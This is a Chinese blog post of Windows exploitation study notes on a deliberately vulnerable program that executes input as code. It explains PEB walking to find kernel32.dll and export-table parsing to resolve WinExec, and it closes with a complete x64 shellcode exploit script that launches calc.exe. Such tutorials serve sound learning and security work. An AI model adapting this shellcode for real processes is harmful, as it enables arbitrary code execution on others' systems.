【Pwn 笔记】Windows Pwn 总结 -- Basic ROP

Introduce

与 Linux 不同,在 Windows 中,应用程序不能直接访问系统调用

相反,它们使用来自 Windows API (WinAPI) 的函数

WinAPI 内部调用来自 Native API (NtAPI) 的函数,Native API 反过来使用系统调用

ret2shellcode

示例代码

#include <windows.h>
#include <stdint.h>

uint8_t sc[0x1000];

int main()
{
    uint64_t oldp;
    VirtualProtect(sc, 0x1000, 0x40, &oldp);
    read(0, sc, 0x1000);
    ((void(*)())sc)();
    return 0;
}

Analysis

一般在 Windows 下习惯用弹出计算器的方式来表达攻击成功

弹出计算器用 C 语言写的话就是如下函数

WinExec("calc.exe", 5);

其实也可以写成这样

WinExec("calc", 5);

其中 WinExec 函数来自于 kernel32.dll

对于 Windows xp 来讲,dll 加载的地址空间貌似都是固定的

但是对于现在的 Win7、Win10 等系统来讲,这个地址会随着每次开机而改变

WinExec 函数偏移可以用 dumpbin 工具直接获取,也可靠 shellcode 获取

Two ways to get DLLBase

先讨论 dll 基址,我们也有两种方法来获得这个基址

  1. 用工具(如 LORDPE)去获取某一进程的 kernel32.dll

    因为每个程序使用的都是同一地址空间的 dll,所以随便找一个进程

    若是他的 kernel32.dll 在 0x7ffc5ba40000

    那么我们将要攻击的程序加载的 kernel32.dll 也在 0x7ffc5ba40000

    于是我们可以构造 shellcode (x64) 如下

    windows 中传参方式是 rcx、rdx、......

    WinExec = 0x0005E800
    dllbase = 0x7FFC5BA40000
    
    calc_pd = asm('''
    xor rcx,rcx
    push rcx
    mov rcx, 0x6578652E636C6163
    push rcx
    mov rcx,rsp
    mov rdx, 1
    mov rax, %s
    add rsp, 0x48
    call rax
    ''' % (dllbase + WinExec))

    这里 add rsp, 0x48 的作用是对齐地址空间

    因为 WinExec 函数里面会有 movaps 指令,不对齐地址的话是不能成功利用的

  2. 依靠 TEB 来获取 kernel32.dll(动态获取 kernel32.dll)

    在 Vista 版本之前的 Windows 系统中

    InInitializationOrderModuleList 中的前两个 dll 是 ntdll.dll 和 kernel32.dll

    但对于 Vista 及之后的版本,第二个 dll 被更改为 kernelbase.dll

    InMemoryOrderModuleList 中的第二个和第三个 dll 一直是 ntdll.dll 和 kernel32.dll

    这对所有 Windows 版本都有效,而且是首选的方法,因为它更具可移植性

    因此,要找到 kernel32.dll 的地址,我们必须遍历几个内存结构,

    具体流程写到 Others 里了,步骤如下:

    • 32 位汇编流程

      Get address of PEB with fs:0x30
      Get address of PEB_LDR_DATA (offset 0x0C)
      Get address of the first list entry in the InMemoryOrderModuleList (offset 0x14)
      Get address of the second (pwn.exe) list entry in the InMemoryOrderModuleList (offset 0x00)
      Get address of the third (ntdll.dll) list entry in the InMemoryOrderModuleList (offset 0x00)
      Get the base address of kernel32.dll (offset 0x10)
    • 32 位汇编如下

      mov ebx, fs:0x30      ; Get pointer to PEB
      mov ebx, [ebx + 0x0C] ; Get pointer to PEB_LDR_DATA
      mov ebx, [ebx + 0x14] ; Get pointer to first entry in InMemoryOrderModuleList
      mov ebx, [ebx]        ; Get pointer to second (pwn.exe) entry in InMemoryOrderModuleList
      mov ebx, [ebx]        ; Get pointer to third (ntdll.dll) entry in InMemoryOrderModuleList
      mov ebx, [ebx + 0x10] ; Get kernel32.dll base address
    • 64 位汇编流程

      Get address of PEB with gs:0x60
      Get address of PEB_LDR_DATA (offset 0x18)
      Get address of the first list entry in the InMemoryOrderModuleList (offset 0x20)
      Get address of the second (pwn.exe) list entry in the InMemoryOrderModuleList (offset 0x00)
      Get address of the third (ntdll.dll) list entry in the InMemoryOrderModuleList (offset 0x00)
      Get the base address of kernel32.dll (offset 0x20)
    • 64 位汇编如下

      mov rbx, gs:0x60      ; Get pointer to PEB
      mov rbx, [rbx + 0x18] ; Get pointer to PEB_LDR_DATA
      mov rbx, [rbx + 0x20] ; Get pointer to first entry in InMemoryOrderModuleList
      mov rbx, [rbx]        ; Get pointer to first (pwn.exe) entry in InMemoryOrderModuleList
      mov rbx, [rbx]        ; Get pointer to second (ntdll.dll) entry in InMemoryOrderModuleList
      mov rbx, [rbx + 0x20] ; Get kernel32.dll base address

    按这个思路写了一个简化版的自动获取基址的 shellcode (x64) 如下

    #!/usr/bin/env python
    # -*- coding: utf-8 -*-
    from winpwn import *
    context.arch = 'amd64'
    context.log_level = 'debug'
    
    debug = 1
    if debug == 1:
        p = process(r'C:\Users\Mechrevo\Desktop\12.exe')
    else:
        p = remote('', )
    
    WinExec = 0x0005E800
    
    pd = "\x65\x48\x8b\x04\x25\x60\x00\x00\x00"  # mov rax, gs:0x60
    pd += asm('''
    mov rax, [rax + 0x18]
    mov rax, [rax + 0x20]
    mov rax, [rax]
    mov rax, [rax]
    mov rax, [rax + 0x20]
    
    xor rcx,rcx
    push rcx
    mov rcx, 0x6578652E636C6163
    push rcx
    mov rcx,rsp
    mov rdx, 1
    add rax, %s
    add rsp, 0x48
    call rax
    ''' % WinExec)
    
    p.send(pd)
    p.interactive()

Two ways to get Function Address

  1. dumpbin 工具直接获取,但是你得有目标主机的 kernel32.dll

    dumpbin.exe /exports c:\windows\system32\kernel32.dll | grep WinExec

    我主机装了 Cygwin,所以这里能用 grep 命令

  2. 动态获取函数地址

    首先我们得有封装该函数的 dll 基址,这里还是以 kernel32.dll 来举例

    从 DOS 头开始,解析 _IMAGE_DOS_HEADER 结构体

    我们设 rbx 为 kernel32.dll 的基地址,则在本次样例中 rbx = 0x7ffc5ba40000

    我们只需要了解 e_lfanew 字段是指向 PE 头的,该字段在 DOS 头偏移 0x3c 的位置

    0:001> ?kernel32
    Evaluate expression: 140721845960704 = 00007ffc`5ba40000
    0:001> dt _IMAGE_DOS_HEADER 00007ffc`5ba40000
    ntdll!_IMAGE_DOS_HEADER
       +0x000 e_magic          : 0x5a4d
       +0x002 e_cblp           : 0x90
       +0x004 e_cp             : 3
       +0x006 e_crlc           : 0
       +0x008 e_cparhdr        : 4
       +0x00a e_minalloc       : 0
       +0x00c e_maxalloc       : 0xffff
       +0x00e e_ss             : 0
       +0x010 e_sp             : 0xb8
       +0x012 e_csum           : 0
       +0x014 e_ip             : 0
       +0x016 e_cs             : 0
       +0x018 e_lfarlc         : 0x40
       +0x01a e_ovno           : 0
       +0x01c e_res            : [4] 0
       +0x024 e_oemid          : 0
       +0x026 e_oeminfo        : 0
       +0x028 e_res2           : [10] 0
       +0x03c e_lfanew         : 0n232

    之前的 kernel32.dll 基址加上 e_lfanew 字段的偏移(0n 开头表示十进制)是指向 PE 头的指针

    设 PE 头指针偏移为 rax,则获取 PE 头指针偏移的汇编表示为 movsxd rdx, [rbx+0x3c](rdx = 0n232)

    movsxd 的作用的扩展 32 位的数据带符号扩展为 64 位

    所以获取 PE 头指针的汇编表示为 add rdx, rbx (rdx = 0x7ffc5ba400e8)

    获取了 PE 头指针,我们即可以使用 Windbg 解析 PE 头的 _IMAGE_NT_HEADERS64 结构体

    Ps:32 位下,该结构体名为 _IMAGE_NT_HEADERS

    0:001> dt _IMAGE_NT_HEADERS64 kernel32+0n232
    ntdll!_IMAGE_NT_HEADERS64
       +0x000 Signature        : 0x4550
       +0x004 FileHeader       : _IMAGE_FILE_HEADER
       +0x018 OptionalHeader   : _IMAGE_OPTIONAL_HEADER64

    _IMAGE_FILE_HEADER 是一个结构体,包含代码数目、机器类型以及特征等信息

    而我们这里需要使用的结构体是 _IMAGE_OPTIONAL_HEADER64

    0:001> dt _IMAGE_OPTIONAL_HEADER64 kernel32+0n232+0x18
    ntdll!_IMAGE_OPTIONAL_HEADER64
       +0x000 Magic            : 0x20b
       +0x002 MajorLinkerVersion : 0xe ''
       +0x003 MinorLinkerVersion : 0xf ''
       +0x004 SizeOfCode       : 0x74800
       +0x008 SizeOfInitializedData : 0x38a00
       +0x00c SizeOfUninitializedData : 0
       +0x010 AddressOfEntryPoint : 0x17c70
       +0x014 BaseOfCode       : 0x1000
       +0x018 ImageBase        : 0x00007ffc`5ba40000
       +0x020 SectionAlignment : 0x1000
       +0x024 FileAlignment    : 0x200
       +0x028 MajorOperatingSystemVersion : 0xa
       +0x02a MinorOperatingSystemVersion : 0
       +0x02c MajorImageVersion : 0xa
       +0x02e MinorImageVersion : 0
       +0x030 MajorSubsystemVersion : 0xa
       +0x032 MinorSubsystemVersion : 0
       +0x034 Win32VersionValue : 0
       +0x038 SizeOfImage      : 0xb2000
       +0x03c SizeOfHeaders    : 0x400
       +0x040 CheckSum         : 0xbbbc4
       +0x044 Subsystem        : 3
       +0x046 DllCharacteristics : 0x4160
       +0x048 SizeOfStackReserve : 0x40000
       +0x050 SizeOfStackCommit : 0x1000
       +0x058 SizeOfHeapReserve : 0x100000
       +0x060 SizeOfHeapCommit : 0x1000
       +0x068 LoaderFlags      : 0
       +0x06c NumberOfRvaAndSizes : 0x10
       +0x070 DataDirectory    : [16] _IMAGE_DATA_DIRECTORY

    在这里我们需要使用的结构体是偏移为 0x70 的 DataDirectory,它是函数导出表的偏移

    则 DataDirectory 相对于 _IMAGE_NT_HEADERS64 的偏移为 0x18 + 0x70 = 0x88

    下面再解释几个较重要的结构体信息:

    AddressOfEntryPoint [0x010] : exe/dll 开始执行代码的地址,即入口点地址
    ImageBase           [0x018] : DLL加载到内存中的地址,即映像基址
    DataDirectory       [0x070] : 导入或导出函数等信息

    接着分析 _IMAGE_DATA_DIRECTORY 结构的 DataDirectory 字段

    关于 DataDirectory 字段的详细解释写到了 Others 里

    0:001> dt _IMAGE_DATA_DIRECTORY kernel32+0n232+0x18+0x70
    ntdll!_IMAGE_DATA_DIRECTORY
       +0x000 VirtualAddress   : 0x8ec80
       +0x004 Size             : 0xdd40
    0:001> dt _IMAGE_DATA_DIRECTORY kernel32+0n232+0x18+0x78
    ntdll!_IMAGE_DATA_DIRECTORY
       +0x000 VirtualAddress   : 0x9c9c0
       +0x004 Size             : 0x744
    0:001> dt _IMAGE_DATA_DIRECTORY kernel32+0n232+0x18+0x80
    ntdll!_IMAGE_DATA_DIRECTORY
       +0x000 VirtualAddress   : 0xb0000
       +0x004 Size             : 0x520

    我们现在可以获取到 DataDirectory 结构中的 VirtualAddress 地址

    所以获取 DataDirectory[0] 的汇编表示为

    movsxd rdx, [rdx+0x88] ; 获取DataDirectory[0]中VirtualAddress的偏移
    add rdx, rbx           ; 获取VirtualAddress的真实地址

    VirtualAddress 对应的是 _IMAGE_EXPORT_DIRECTORY 结构体,我们看下里面有什么

    Ps:尝试了很多办法,都没有办法在 Windbg 里用 dt 指令查看这个结构体

    只搜到了 32 位下可以靠 ole32.dll 来引入这个结构体,再用 Windbg 查看

    所以这里直接贴结构体了,毕竟我的示例是 64 位的,ole32.dll 连 dll 注入都不行

    IMAGE_EXPORT_DIRECTORY                : 导出表,共40字节
       +0x000 DWORD Characteristics       : 未使用,总是定义为0
       +0x004 DWORD TimeDateStamp         : 文件生成时间
       +0x008 WORD MajorVersion           : 未使用,总是定义为0
       +0x00A WORD MinorVersion           : 未使用,总是定义为0
       +0x00C DWORD Name                  : 模块的真实名称
       +0x010 DWORD Base                  : 基数,加上序数就是函数地址数组的索引值
       +0x014 DWORD NumberOfFunctions     : 导出函数的总数
       +0x018 DWORD NumberOfNames         : 以名称方式导出的函数的总数
       +0x01C DWORD AddressOfFunctions    : 指向输出函数地址的RVA
       +0x020 DWORD AddressOfNames        : 指向输出函数名字的RVA
       +0x024 DWORD AddressOfNameOrdinals : 指向输出函数序号的RVA

    接着我们需要关心 3 个数据结构

    AddressOfFunctions    [0x01c] : 指向一个 DWORD 类型的数组,每个数组元素指向一个函数地址
    AddressOfNames        [0x020] : 指向一个 DWORD 类型的数组,每个数组元素指向一个函数名称的字符串
    AddressOfNameOrdinals [0x024] : 指向一个 WORD 类型的数组,每个数组元素表示相应函数的排列序号

    所以获取 AddressOfNames 偏移的汇编表示为 movsxd rsi, [rdx+0x20] (rsi = 0x9061c)

    则 AddressOfNames 的真实地址我们存到 rsi 中,得到汇编 add rsi, rbx

    我们可以看到 AddressOfNames 数组内部部分如下所示:

    0:000> dd kernel32+0x9061c
    00007ffc`5bad061c  00092c57 00092c90 00092cc3 00092cd2
    00007ffc`5bad062c  00092ce7 00092cf0 00092cf9 00092d0a
    00007ffc`5bad063c  00092d1b 00092d60 00092d86 00092da5
    00007ffc`5bad064c  00092dc4 00092dd1 00092de4 00092dfc
    00007ffc`5bad065c  00092e17 00092e2c 00092e49 00092e88
    00007ffc`5bad066c  00092ec9 00092edc 00092ee9 00092f03
    00007ffc`5bad067c  00092f21 00092f58 00092f9d 00092fe8
    00007ffc`5bad068c  00093043 00093098 000930eb 00093140
    0:000> da kernel32+00092c57
    00007ffc`5bad2c57  "AcquireSRWLockExclusive"
    0:000> da kernel32+00092c90
    00007ffc`5bad2c90  "AcquireSRWLockShared"
    0:000> da kernel32+00092cc3
    00007ffc`5bad2cc3  "ActivateActCtx"
    0:000> da kernel32+00092cd2
    00007ffc`5bad2cd2  "ActivateActCtxWorker"

    AddressOfNameOrdinals 里的序号是从 0 开始的,内存如下所示:

    0:000> dw kernel32+00091f90 
    00007ffc`5bad1f90  0000 0001 0002 0003 0004 0005 0006 0007
    00007ffc`5bad1fa0  0008 0009 000a 000b 000c 000d 000e 000f
    00007ffc`5bad1fb0  0010 0011 0012 0013 0014 0015 0016 0017
    00007ffc`5bad1fc0  0018 0019 001a 001b 001c 001d 001e 001f
    00007ffc`5bad1fd0  0020 0021 0022 0023 0024 0025 0026 0027
    00007ffc`5bad1fe0  0028 0029 002a 002b 002c 002d 002e 002f
    00007ffc`5bad1ff0  0030 0031 0032 0033 0034 0035 0036 0037
    00007ffc`5bad2000  0038 0039 003a 003b 003c 003d 003e 003f

    之后获取函数的 shellcode (x64) 如下:

        xor rcx, rcx                ; 类似int i = 0;
    
    Get_Func:
        mov r10, 0x00636578456e6957 ; WinExec
        inc rcx                     ; i++;
        movsxd rax, [rsi]           ; 获取AddressOfNames偏移
        add rsi, 4                  ; 下次 获取字符串地址偏移的 地址
        add rax, rbx                ; 获取AddressOfNames地址
        cmp [rax], r10              ; 比较AddressOfNames中的字符串是否等于WinExec
        jnz Get_Func
    
        movsxd rsi, [rdx + 0x24]    ; 获取AddressOfNameOrdinals偏移
        add rsi, rbx                ; 获取AddressOfNameOrdinals地址
        dec cx                      ; 首项是0,之前的计数要减1
        mov cx, [rsi + rcx * 2]     ; 得到函数索引值
    
        movsxd rsi, [rdx + 0x1c]    ; 获取AddressOfFunctions偏移
        add rsi, rbx                ; 获取AddressOfFunctions地址
        movsxd rdx, [rsi + rcx * 4] ; WinExec的偏移
        add rdx, rbx                ; rdx = WinExec

    这里的汇编注释可以在 Pycharm 中用正则表达式 (\s*)\;(.*) 匹配然后去掉

EXP (x64)

#!/usr/bin/env python
# -*- coding: utf-8 -*-
from winpwn import *
context.arch = 'amd64'
context.log_level = 'debug'

debug = 1
if debug == 1:
    p = process(r'C:\Users\Mechrevo\Desktop\12.exe')
else:
    p = remote('', )

# windbg.attach(p, script='bp 0x407980;bp 0x4079d2;gu')

# Get kernel32.dll base
pd = "\x65\x48\x8b\x1c\x25\x60\x00\x00\x00"  # mov rbx, gs:0x60
pd += asm('''
    mov rbx, [rbx + 0x18]
    mov rbx, [rbx + 0x20]
    mov rbx, [rbx]
    mov rbx, [rbx]
    mov rbx, [rbx + 0x20]
    movsxd rdx, [rbx + 0x3c]
    add rdx, rbx
    movsxd rdx, [rdx + 0x88]
    add rdx, rbx
    movsxd rsi, [rdx + 0x20]
    add rsi, rbx
''')

# Get address of WinExec
pd += asm('''
    xor rcx, rcx

Get_Func:
    mov r10, 0x00636578456e6957
    inc rcx
    movsxd rax, [rsi]
    add rsi, 4
    add rax, rbx
    cmp [rax], r10
    jnz Get_Func

    movsxd rsi, [rdx + 0x24]
    add rsi, rbx
    dec cx
    mov cx, [rsi + rcx * 2]

    movsxd rsi, [rdx + 0x1c]
    add rsi, rbx
    movsxd rdx, [rsi + rcx * 4]
    add rdx, rbx
''')

# WinExec("calc.exe", 5)
pd += asm('''
mov r10, rdx
mov rcx, 0x6578652E636C6163
push 0
push rcx
mov rcx, rsp
mov rdx, 5
add rsp, 0x48
call r10
''')

p.send(pd)
p.interactive()

效果:

Others

  • 在 Windbg 中查找 kernel32.dll 基地址的方法如下

    1. 先找到 PEB 中 Ldr 结构体的地址

      0:001> !peb
      PEB at 0000000000380000
          InheritedAddressSpace:    No
          ReadImageFileExecOptions: No
          BeingDebugged:            Yes
          ImageBaseAddress:         0000000000400000
          NtGlobalFlag:             0
          NtGlobalFlag2:            0
          Ldr                       00007ffc5c0253c0

      可以得到地址为 0x7ffc5c0253c0

    2. 然后查看该地址处的 _PEB_LDR_DATA 结构体内容

      主要是为了找到 InMemoryOrderModuleList 链表的地址

      0:000> dt _PEB_LDR_DATA 00007ffc5c0253c0
      ntdll!_PEB_LDR_DATA
         +0x000 Length           : 0x58
         +0x004 Initialized      : 0x1 ''
         +0x008 SsHandle         : (null) 
         +0x010 InLoadOrderModuleList : _LIST_ENTRY [ 0x00000000008a3e20 - 0x00000000008bcfc0 ]
         +0x020 InMemoryOrderModuleList : _LIST_ENTRY [ 0x00000000008a3e30 - 0x00000000008bcfd0 ]
      ......
    3. 点击 InMemoryOrderModuleList 查看地址

      0x7ffc5c0253e0 是链表首节点

      所以内存中加载的第一个 dll 所对应的地址就是 Flink 上的地址,即 0x8f3e30

      0:000> dx -r1 (*((ntdll!_LIST_ENTRY *)0x7ffc5c0253e0))
      (*((ntdll!_LIST_ENTRY *)0x7ffc5c0253e0))                 [Type: _LIST_ENTRY]
          [+0x000] Flink            : 0x8a3e30 [Type: _LIST_ENTRY *]
          [+0x008] Blink            : 0x8bcfd0 [Type: _LIST_ENTRY *]
    4. 查看 0x8a3e30 上对应的 dll 名称,发现是我们调试的程序名

      注意该地址需要减去 0x10 再查看

      主要原因是 InMemoryOrderLinks 的指针指向的是下一个 _LDR_DATA_TABLE_ENTRY 的

      InMemoryOrderLinks(32 位下偏移为 0x08,64 位下偏移为 0x10)

      所以需要该地址减去 0x10 才是正确的结构体基址

      0:000> dt _LDR_DATA_TABLE_ENTRY 0x8a3e30-0x10
      ntdll!_LDR_DATA_TABLE_ENTRY
         +0x000 InLoadOrderLinks : _LIST_ENTRY [ 0x00000000008a3c90 - 0x00007ffc5c0253d0 ]
         +0x010 InMemoryOrderLinks : _LIST_ENTRY [ 0x00000000008a3ca0 - 0x00007ffc5c0253e0 ]
         +0x020 InInitializationOrderLinks : _LIST_ENTRY [ 0x0000000000000000 - 0x0000000000000000 ]
         +0x030 DllBase          : 0x00000000`00400000 Void
         +0x038 EntryPoint       : 0x00000000`004014f0 Void
         +0x040 SizeOfImage      : 0x176000
         +0x048 FullDllName      : _UNICODE_STRING "C:\Users\Mechrevo\Desktop\12.exe"
         +0x058 BaseDllName      : _UNICODE_STRING "12.exe"
    5. 点击 3 中的 0x8a3e30 地址,查看下一个链表结构体

      0:000> dx -r1 ((ntdll!_LIST_ENTRY *)0x8a3e30)
      ((ntdll!_LIST_ENTRY *)0x8a3e30)                 : 0x8a3e30 [Type: _LIST_ENTRY *]
          [+0x000] Flink            : 0x8a3ca0 [Type: _LIST_ENTRY *]
          [+0x008] Blink            : 0x7ffc5c0253e0 [Type: _LIST_ENTRY *]

      再查看 Flink 地址上的 dll 名称,发现该 dll 是 ntdll.dll

      0:000> dt _LDR_DATA_TABLE_ENTRY 0x8a3ca0-0x10
      ntdll!_LDR_DATA_TABLE_ENTRY
         +0x000 InLoadOrderLinks : _LIST_ENTRY [ 0x00000000008a43b0 - 0x00000000008a3e20 ]
         +0x010 InMemoryOrderLinks : _LIST_ENTRY [ 0x00000000008a43c0 - 0x00000000008a3e30 ]
         +0x020 InInitializationOrderLinks : _LIST_ENTRY [ 0x00000000008a49c0 - 0x00007ffc5c0253f0 ]
         +0x030 DllBase          : 0x00007ffc`5bec0000 Void
         +0x038 EntryPoint       : (null) 
         +0x040 SizeOfImage      : 0x1f0000
         +0x048 FullDllName      : _UNICODE_STRING "C:\Windows\SYSTEM32\ntdll.dll"
         +0x058 BaseDllName      : _UNICODE_STRING "ntdll.dll"
    6. 点击 5 中的 0x8a3ca0 地址,查看下一个链表结构体

      0:000> dx -r1 ((ntdll!_LIST_ENTRY *)0x8a3ca0)
      ((ntdll!_LIST_ENTRY *)0x8a3ca0)                 : 0x8a3ca0 [Type: _LIST_ENTRY *]
          [+0x000] Flink            : 0x8a43c0 [Type: _LIST_ENTRY *]
          [+0x008] Blink            : 0x8a3e30 [Type: _LIST_ENTRY *]

      再查看 Flink 地址上的 dll 名称,发现该 dll 是 KERNEL32.DLL

      0:000> dt _LDR_DATA_TABLE_ENTRY 0x8a43c0-0x10
      ntdll!_LDR_DATA_TABLE_ENTRY
         +0x000 InLoadOrderLinks : _LIST_ENTRY [ 0x00000000008a49a0 - 0x00000000008a3c90 ]
         +0x010 InMemoryOrderLinks : _LIST_ENTRY [ 0x00000000008a49b0 - 0x00000000008a3ca0 ]
         +0x020 InInitializationOrderLinks : _LIST_ENTRY [ 0x00000000008a46c0 - 0x00000000008a49c0 ]
         +0x030 DllBase          : 0x00007ffc`5ba40000 Void
         +0x038 EntryPoint       : 0x00007ffc`5ba57c70 Void
         +0x040 SizeOfImage      : 0xb2000
         +0x048 FullDllName      : _UNICODE_STRING "C:\Windows\System32\KERNEL32.DLL"
         +0x058 BaseDllName      : _UNICODE_STRING "KERNEL32.DLL"
    7. 至此,KERNEL32.DLL 已成功找到,且基地址为 0x00007ffc`5ba40000

  • DataDirectory 结构体一览

    DataDirectory[0] = EXPORT Directory
    DataDirectory[1] = IMPORT Directory
    DataDirectory[2] = RESOURCE Directory
    DataDirectory[3] = EXCEPTION Directory
    DataDirectory[4] = SECURITY Directory
    DataDirectory[5] = BASERELOC Directory
    DataDirectory[6] = DEBUG Directory
    DataDirectory[7] = COPYRIGHT Directory
    DataDirectory[8] = GLOBALPTR Directory
    DataDirectory[9] = TLS Directory
    DataDirectory[A] = LOAD_CONFIG Directory
    DataDirectory[B] = BOUND_IMPORT Directory
    DataDirectory[C] = IAT Directory
    DataDirectory[D] = DELAY_IMPORT Directory
    DataDirectory[E] = COM_DESCRIPTOR Directory
    DataDirectory[F] = Reserved Directory

参考链接

https://idafchev.github.io/exploit/2017/09/26/writing_windows_shellcode.html

https://migraine-sudo.github.io/2019/12/21/Shellcode-Write/

点赞

发表评论

电子邮件地址不会被公开。必填项已用 * 标注